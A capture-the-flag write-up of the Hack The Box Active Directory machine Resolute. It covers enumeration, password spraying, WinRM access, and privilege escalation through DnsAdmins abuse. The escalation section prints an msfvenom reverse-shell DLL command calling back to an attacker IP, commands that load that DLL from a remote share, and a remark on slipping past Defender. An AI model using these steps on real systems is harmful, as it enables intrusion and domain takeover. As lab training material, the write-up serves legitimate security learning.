# HTB | Resolute

This is the Box on [Hack The Box Active Directory 101 Track](https://app.hackthebox.com/tracks/Active-Directory-101). Find the box [here](https://app.hackthebox.com/machines/220).

#### Skill Learned

* DnsAdmins Abuse

## NMAP

IP: **10.10.10.169**

```
nmap -sT -p- --kin-rate 10000 10.10.10.169
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F3b0LnzqyiauZ9Y70hpxU%2Fimage.png?alt=media&#x26;token=0b5b6ace-747f-476a-ace9-de5fd4f64ba7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FVp1CoDaO7FMjd5cj7TyU%2Fimage.png?alt=media&#x26;token=0881ab52-f737-4991-b4af-b0a7638cce3c" alt=""><figcaption><p>nmap</p></figcaption></figure>

### SMB & RPC - TCP 445

Without credentials, I was not able to enum any shares

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FyvopTVnnoh7IqDPswgRc%2Fimage.png?alt=media&#x26;token=093f338a-34ad-4a6a-ae15-55e84462b277" alt=""><figcaption></figcaption></figure>

I was able to null connect via `rpcclient` and able to enumerate

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FBt1hr5vUopB8cR5FDXTq%2Fimage.png?alt=media&#x26;token=9f0b361b-2b74-4a77-a73b-f21d14b4246e" alt=""><figcaption></figcaption></figure>

I can get information about the users one by one with `queryuser`:

```
queryuser 0x1f4
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FsFNomFXySqBvr4Pixnrl%2Fimage.png?alt=media&#x26;token=98154ea6-2a20-42cc-ba9f-9fba3a053ff9" alt=""><figcaption><p>queryuser 0x1f4</p></figcaption></figure>

I can also get less information about all users with `querydispinfo`:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FHPVRxielwxZIip20cJ9h%2Fimage.png?alt=media&#x26;token=c629f350-8164-4794-b75a-a7dfa274eaf4" alt=""><figcaption><p>querydispinfo</p></figcaption></figure>

We found the password for _marko_

## Foothold/shell

I’ll use crackmapexec as an easy way to check credentials against SMB. First I try as marko, but it doesn’t work:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F2FYUB54hywZqiGli9mSm%2Fimage.png?alt=media&#x26;token=e4898884-d61c-4cf5-bdd2-606197cf9bc7" alt=""><figcaption></figcaption></figure>

I tried connecting with EvilWinRM as well, but no luck.

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FgznhrTM1XC0hot49U2nk%2Fimage.png?alt=media&#x26;token=9fdcad33-0388-4a84-9569-63c34d80e842" alt=""><figcaption></figcaption></figure>

**Password Spray**

Password spraying is similar to password brute force, except you only try one (or a few common passwords) across a lot of users. The benefit to the attacker is that you don’t risk locking out any single account, and in a case where you only need a foothold, it’s very common in a large organization to find at least one user using a really bad guessable password.

I grabbed the list of users from rpcclient, and dropped them into a file. Then I ran crackmapexec using that list as the user input. It found a user still using _Welcome123!_:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FIUi7kRcZDWk28uL0iINk%2Fimage.png?alt=media&#x26;token=5cfd03fa-6abd-42dc-a1da-5b22df6756f8" alt=""><figcaption></figcaption></figure>

we found a valid login

**WinRM shell**

I don’t know if Malanie is an administrator or in the Remote Management Users group, but it’s worth a shot to see if I can EvilWinRM to get a shell as Melanie. It works:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FhOntzmaXQkdjKhPLJh55%2Fimage.png?alt=media&#x26;token=552cd88f-2115-4ec1-87dd-cde5780b89aa" alt=""><figcaption></figcaption></figure>

and now we have **user.txt**

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FiEj7myrFTQeQbUXTMwdz%2Fimage.png?alt=media&#x26;token=c69555ba-8cbf-4e0a-bbd6-1ea8b1fa6b57" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Priv Esc

In PowerShell, `ls` is an alias for `Get-ChildItem` or `gci`. On Windows, it’s often a good idea to run that with _-force_, kind of like running _ls -a_.

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FwbcO3sHXz7FVNvAuAXNs%2Fimage.png?alt=media&#x26;token=d50ece81-8eb5-48aa-a74b-e2d8f8b2539a" alt=""><figcaption><p>ls -force</p></figcaption></figure>

PSTranscripts looks interesting

```
gci -recurse -force file PSTranscripts
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fdu5yWOj8jhV0nHOJiwo2%2Fimage.png?alt=media&#x26;token=34565a15-c735-453f-8add-e2c989915d0d" alt=""><figcaption><p>gci -recurse -force file PSTranscripts</p></figcaption></figure>

On looking at the text file inside PSTranscripts we found Ryan's password

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FCwjWRMAa5yRm94rA1IlL%2Fimage.png?alt=media&#x26;token=86552c33-05f2-463f-b6de-1886140d87de" alt=""><figcaption><p>Ryan's password</p></figcaption></figure>

On looking at user Ryan we can see that Ryan actually isn’t in Remote Management Users. But he is in **Contractors**, and Contractors is:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fvf6tmKId3wv8mlYiIVAY%2Fimage.png?alt=media&#x26;token=da099eb3-8a2b-4af6-8493-0b5f82532b3e" alt=""><figcaption><p>net user ryan</p></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FwWY5SfUMO0X5S1GkmmaC%2Fimage.png?alt=media&#x26;token=4de06775-f3a7-464f-a546-26a4089f1bd4" alt=""><figcaption><p>net localgroup Contractors and net localgroup "Remote Management Users"</p></figcaption></figure>

From my Kali box, I can also check the creds with crackmapexec:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F1UrW4H90wF0d58A3vRcf%2Fimage.png?alt=media&#x26;token=8e6314ef-5dfe-4ac9-9da5-124b12719d1f" alt=""><figcaption></figcaption></figure>

we can use evilWinRm and we are in as Ryan

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FqExpaietVKrT55dL478w%2Fimage.png?alt=media&#x26;token=e1aeb42c-b96e-43e9-bee3-6fbd08ac839a" alt=""><figcaption></figcaption></figure>

We saw note.txt

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FNHNWFpAwxCFvBGsMBbjh%2Fimage.png?alt=media&#x26;token=f95c406f-8022-4a96-ab97-f56be10f79da" alt=""><figcaption></figcaption></figure>

On looking at `whoami /priv` and `whoami /groups`

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FM73iAWj6DBFN89KOCRQr%2Fimage.png?alt=media&#x26;token=f340add4-9f38-4a1c-89e1-c877f79ac8f5" alt=""><figcaption></figcaption></figure>

### DnsAdmins

Members of the DNSAdmins group have access to network DNS information. The default permissions are as follows: Allow: Read, Write, Create All Child objects, Delete Child objects, Special Permissions. By default, the DNSAdmins don’t have the ability to start or stop the DNS service, but it’s not unusual for an admin to give this group that privilege.

The attack here is to tell the DNS service on Resolute to use my dll as a plugin. I’m going to use _msfvenom_ to create a dll that will, on loading, connect back to me. When _msfvenom_ creates this payload, it will connect back, and wait for that session to end before continuing. This will hang the DNS service on Resolute. That’s fine for a CTF, but would make for a bad day in a real pentest.

To get around this, you can create a payload that starts the reverse shell in a new thread and then continues so that the DNS server can continue to start.

Check [abusing dnsadmins privilege for escalation in active directory](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html), [feature not bug - dnsadmin to dc compromise](https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83) and [dnsAdmin Privesc in AD](https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2) for more information

Now I’ll start with a basic msfvenom reverse shell payload as a dll. Defender is running on this host, and if I put the output file there, it might get detected, but over a UNC path to a share it might be ok.

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=1234 -f dll -o rev.dll
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FalBqsUWIkQiI7ldd5YVo%2Fimage.png?alt=media&#x26;token=3bae070a-cde9-4ec0-9f47-01ff64a090fa" alt=""><figcaption></figcaption></figure>

Now I will start the smb server.

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fag6Ul058YrZEVLm288ot%2Fimage.png?alt=media&#x26;token=c7030aad-c483-47eb-8c80-d22b2e3461a6" alt=""><figcaption></figcaption></figure>

Now it's time to upload and execute. I’ll need to run three commands:

* Set the server-level plugin to be rev.dll on my share.

```
dnscmd.exe /config /serverlevelplugindll \\10.10.14.4\s\rev.dll
```

* Stop the DNS server.

```
sc.exe \\resolute stop dns
```

* Start the DNS server.

```
sc.exe \\resolute start dns
```

I’ll need to do this all within a minute (or less) because, as note.txt told me, things revert quickly.

With nc listening, I execute the attack:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FjypSDynGTmlu1LwpryST%2Fimage.png?alt=media&#x26;token=acd95669-a505-4f77-b21a-26b949ab0e30" alt=""><figcaption></figcaption></figure>

after starting DNS I got the shell

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FruMonuwJWV7rK0woufeT%2Fimage.png?alt=media&#x26;token=1b88619c-7dae-4e35-bbd1-632af945e065" alt=""><figcaption></figcaption></figure>

and we have the **root.txt**

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FjDwh8QzbhQ9qEVJ80FQQ%2Fimage.png?alt=media&#x26;token=ba839b15-59b0-4dfa-9cab-6cbea39d6f02" alt=""><figcaption><p>root.txt</p></figcaption></figure>
